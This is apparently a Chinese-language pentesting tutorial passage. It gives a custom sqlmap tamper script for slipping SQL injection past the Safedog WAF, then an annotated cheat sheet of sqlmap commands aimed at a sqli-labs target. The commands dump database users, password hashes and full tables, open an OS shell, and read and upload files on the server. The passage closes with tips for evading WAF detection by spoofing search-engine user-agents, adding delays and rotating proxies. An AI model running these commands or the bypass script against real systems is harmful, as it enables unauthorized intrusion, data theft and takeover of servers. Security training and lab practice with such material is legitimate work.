例如:写tamper脚本绕过waf
例如:
手工正常注入被安全狗拦截
利用sqlmap 被拦截
脚本:
import re
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload=payload.replace("union","%23a%0aunion")
payload = payload.replace("select", "/*!44575select*/")
payload = payload.replace("%20", "%23a%0a")
payload = payload.replace(" ", "%23a%0a")
payload = payload.replace("database()", "database%23a%0a()")
return payload
语句:sqlmap -u" http://xxxxxxxx/SQL/Less-1/?id=1" --user-agent=“Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)” --tamper=bypassdog.py
绕过截图:
7.利用sqlmap绕过waf
1.有些waf识别工具的头user-agent
利用随机代理头绕过使用参数 --random-agent
2.使用–tamper写自定义绕过参数防护
3.waf开启流量攻击拦截cc攻击
3.1.伪装搜索引擎
使用 --user-agent=Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
3.2.使用添加延时参数 --delay参数
3.3.代理池
重要sqlmap参数语句
sqlmap -r http.txt #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色,仅适用于oracle数据库的时候
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL" #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL,
SAP MaxDB, SQLite, Sybase
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="127.0.0.1:8080" #指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
-v3 #输出详细度 最大值5 会显示请求包和回复包
--threads 5 #指定线程数
--fresh-queries #清除缓存
--flush-session #刷新session
--batch #对所有的交互式的都是默认的
--random-agent #任意的http头
--tamper base64encode #对提交的数据进行base64编码
--referer http://www.baidu.com #伪造referer字段
--keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received.